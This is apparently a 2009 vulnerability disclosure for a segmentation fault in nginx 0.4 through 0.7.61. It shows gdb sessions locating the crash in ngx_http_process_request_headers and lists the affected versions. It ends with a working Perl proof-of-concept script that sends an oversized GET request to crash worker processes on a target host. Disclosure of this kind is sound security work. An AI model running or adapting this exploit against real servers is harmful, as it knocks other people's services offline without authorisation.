debian:~# uname -a Linux debian 2.6.18-6-686 #1 SMP Thu Aug 20 21:56:59 UTC

2009 i686 GNU/Linux

debian:~# cat /etc/issue

Debian GNU/Linux 4.0 /n /l



debian:~# dpkg -l|grep nginx

ii nginx 0.4.13-2+etch2 small, but very powerful and efficient

debian:~# ps xauwww|grep worker|grep -v grep

www-data 3577 0.0 0.9 2688 928 ? S 01:50 0:00 nginx: worker process

debian:~# gdb -p 3577

GNU gdb 6.4.90-debian

Copyright (C) 2006 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain

conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i486-linux-gnu".

Attaching to process 3577

Reading symbols from /usr/sbin/nginx...(no debugging symbols found)...done.

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

Reading symbols from /lib/tls/i686/cmov/libcrypt.so.1...(no debugging

symbols found)...done.

Loaded symbols for /lib/tls/i686/cmov/libcrypt.so.1

Reading symbols from /usr/lib/libpcre.so.3...(no debugging symbols

found)...done.

Loaded symbols for /usr/lib/libpcre.so.3

Reading symbols from /usr/lib/libz.so.1...(no debugging symbols

found)...done.

Loaded symbols for /usr/lib/libz.so.1

Reading symbols from /lib/tls/i686/cmov/libc.so.6...

(no debugging symbols found)...done.

Loaded symbols for /lib/tls/i686/cmov/libc.so.6

Reading symbols from /lib/ld-linux.so.2...(no debugging symbols

found)...done.

Loaded symbols for /lib/ld-linux.so.2

Reading symbols from /lib/tls/i686/cmov/libnss_compat.so.2...(no debugging

symbols found)...done.

Loaded symbols for /lib/tls/i686/cmov/libnss_compat.so.2

Reading symbols from /lib/tls/i686/cmov/libnsl.so.1...(no debugging symbols

found)...done.

Loaded symbols for /lib/tls/i686/cmov/libnsl.so.1

Reading symbols from /lib/tls/i686/cmov/libnss_nis.so.2...

(no debugging symbols found)...done.

Loaded symbols for /lib/tls/i686/cmov/libnss_nis.so.2

Reading symbols from /lib/tls/i686/cmov/libnss_files.so.2...(no debugging

symbols found)...done.

Loaded symbols for /lib/tls/i686/cmov/libnss_files.so.2

Failed to read a valid object file image from memory.

0xb7f06410 in ?? ()

(gdb) c

Continuing.



Program received signal SIGSEGV, Segmentation fault.

0x08068f23 in ?? ()

(gdb) bt

#0 0x08068f23 in ?? ()

#1 0x080b0540 in ?? ()

#2 0x080a54e4 in ?? ()

#3 0x00000000 in ?? ()

(gdb) i r

eax 0x6d4 1748

ecx 0xbff21028 -1074655192

edx 0x80b1794 134944660

ebx 0x80b0540 134939968

esp 0xbff21880 0xbff21880

ebp 0xbff218d8 0xbff218d8

esi 0x80b5630 134960688

edi 0x80b0540 134939968

eip 0x8068f23 0x8068f23 <__gmon_start__@plt+126827>

eflags 0x10206 [ PF IF RF ]

cs 0x73 115

ss 0x7b 123

ds 0x7b 123

es 0x7b 123

fs 0x0 0

gs 0x33 51

(gdb) q

The program is running. Quit anyway (and detach it)? (y or n) y

Detaching from program: /usr/sbin/nginx, process 3577

debian:~#



in nginx error log we can see :

2009/10/15 01:53:24 [alert] 2477#0: worker process 3577 exited on signal 11



===============================



here is same test on nginx compiled with debug :



(gdb) c

Continuing.



Program received signal SIGSEGV, Segmentation fault.

ngx_http_process_request_headers (rev=0x80c95d8) at

src/http/ngx_http_request.c:793

793 header.data[header.len++] = '.';

(gdb) bt

#0 ngx_http_process_request_headers (rev=0x80c95d8) at

src/http/ngx_http_request.c:793

#1 0x08069c63 in ngx_http_process_request_line (rev=0x80c95d8) at

src/http/ngx_http_request.c:702

#2 0x080668ff in ngx_http_init_request (rev=0x80c95d8) at

src/http/ngx_http_request.c:446

#3 0x0805f67e in ngx_epoll_process_events (cycle=0x80a59e8, timer=60000,

flags=<value optimized out>)

at src/event/modules/ngx_epoll_module.c:518

#4 0x08056712 in ngx_process_events_and_timers (cycle=0x80a59e8) at

src/event/ngx_event.c:245

#5 0x0805cebd in ngx_worker_process_cycle (cycle=0x80a59e8, data=0x0) at

src/os/unix/ngx_process_cycle.c:728

#6 0x0805b9b1 in ngx_spawn_process (cycle=0x80a59e8, proc=0x805c8a2

<ngx_worker_process_cycle>, data=0x0,

name=0x808e46b "worker process", respawn=-2) at

src/os/unix/ngx_process.c:187

#7 0x0805c470 in ngx_start_worker_processes (cycle=0x80a59e8, n=1, type=-2)

at src/os/unix/ngx_process_cycle.c:327

#8 0x0805d442 in ngx_master_process_cycle (cycle=0x80a59e8) at

src/os/unix/ngx_process_cycle.c:119

#9 0x0804ae5b in main (argc=1, argv=0xbfd72ac4) at src/core/nginx.c:332

(gdb) i r $eip

eip 0x8068e52 0x8068e52 <ngx_http_process_request_headers+273>

(gdb)



===============================



tested on versions 0.7.0 <= 0.7.61, 0.6.0 <= 0.6.38, 0.5.0 <= 0.5.37, 0.4.0

<= 0.4.14



================================

here is POC:



#!/usr/bin/perl

use IO::Socket;

if ($#ARGV != 0) {

print "Usage: ./nginx.pl <hostname>/n";

exit;}

$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],

PeerPort => '80',

Proto => 'tcp');

$mysize = 4079;

$mymsg = "o" x $mysize;

print $sock "GET /$mymsg HTTP/1.1/r/n/r/n";



while(<$sock>) {

print;

}